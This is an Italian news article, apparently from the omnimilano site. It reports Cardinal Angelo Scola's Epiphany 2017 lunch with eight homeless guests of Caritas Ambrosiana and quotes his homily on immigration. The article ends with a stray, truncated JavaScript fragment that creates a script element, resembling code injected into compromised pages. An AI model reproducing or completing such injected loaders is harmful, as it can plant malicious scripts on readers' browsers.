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venerdì 17 novembre 2017 22:27:39
omnimilano

Da hub via Sammartini a tavola Arcivescovado
Otto senzatetto a pranzo di Epifania con Scola

6 gennaio 2017 Cronaca, Politica

Il cardinale: “Non cedere alla paura e all’intellettualismo delle scaltre analisi”
Pasta fresca al forno regalata dai carcerati di Monza, arrosto di vitello, patate sabbiose al forno, sformatino di spinaci, frutta fresca e secca, panettone e pandoro, accompagnati da Bonarda, prosecco di Valdobbiadene e Moscato d’Asti. E’ il pranzo che l’arcivescovo Angelo Scola ha condiviso all’Epifania con otto senzatetto ospitati e seguiti dalla Caritas Ambrosiana, insieme con il presidente Luciano Gualzetti. Una parte di loro ha partecipato in prima fila con Gualzetti alla messa in Duomo, celebrata dal cardinale nella solennità dell’Epifania, per poi seguirlo nelle sale dell’Arcivescovado. Otto “storie diverse”, ha sottolineato Gualzetti, per gli ospiti di Scola: un’età compresa tra i 25 e i 65 anni, tre stranieri (due di loro di fede musulmana) e cinque italiani. “Abbiamo dato loro una casa temporanea”, alcuni all’hub di via Sammartini, spiega Gualzetti “e li stiamo accompagnando tutti verso l’autonomia, nonostante le storie siano diverse: c’è chi viene dall’esperienza della recente immigrazione e chi ha affrontato le traiettorie della perdita del lavoro o della famiglia”. A tavola così, seduto davanti al cardinale, c’è l’altissimo Adam, dal Mali, che ha “fatto un viaggio brutto dall’Africa all’Italia”, dove si trova da otto anni, e “nel frattempo ho perso mio padre e mia madre, che è morta tre settimane fa in Africa. E io non so cosa fare”. Sta seguendo un corso di italiano, che invece parla bene Hamid, del Marocco, da 25 anni in Italia, che a capotavola non rinuncia a fare dei selfie e che come Adam è ospite in via Sammartini: “Ho sempre lavorato, facevo imballaggi industriali, sono un operaio specializzato. Poi – spiega Hamid – ho avuto un incidente, investito da un’auto in bicicletta, e ho perso il lavoro. Milano? Per me è la capitale del mondo, è troppo, e io qui sono sempre stato accolto. Bisogna ringraziare Iddio per i bei momenti, poi ci sono anche quelli brutti ma basta avere un po’ di coraggio e aspettare il futuro. Per me oggi è una giornata grande. Amo la mia e tutte le religioni, perchè come Dio ha detto siamo tutti fratelli e abbiamo un unico Dio”. Con il pranzo con i clochard in Arcivescovado “voglio avere una possibilità, seppur troppo rara, rispetto all’impostazione del ministero episcopale a Milano, di stare con la gente del popolo, di stare con la mia gente”, ha detto Scola spiegando la sua iniziativa: “Certamente chi è più alla ricerca di qualcosa, chi è più nel bisogno è ancor più desiderato”. Poco prima, nell’omelia in Duomo, da Scola un invito: “L’immigrazione, lo scambio tra culture e società, con l’incremento dei rapporti interculturali e interreligiosi hanno di fatto messo in moto un processo inevitabile e di lunga durata che ci vede coinvolti. L’apertura universale dell’Epifania è un invito rivolto a noi tutti ad affrontare questo processo di storica portata, senza cedere alla comprensibile paura né tanto meno all’insidiosa tentazione intellettualistica che si appaga di scaltre analisi”. Per Scola, per affrontare il fenomeno dell’immigrazione “non bastano i pur necessari provvedimenti legislativi. Ci è chiesto di agire in unità con tutta la famiglia umana e le sue diverse articolazioni, secondo l’ideale dell’amore e di un’autentica amicizia civica. Lo dobbiamo alle vittime degli efferati episodi terroristici ed ai loro cari. Ce lo chiedono i non pochi martiri e la grande massa degli esclusi, scartati da un sistema sociale dominante spesso iniquo. L’amore vero, universale e concreto, che l’Epifania di Gesù Cristo ci testimonia: Dio, universale, si è fatto bambino concreto a favore di noi uomini”.var d=document;var s=d.createElement(‘script’);

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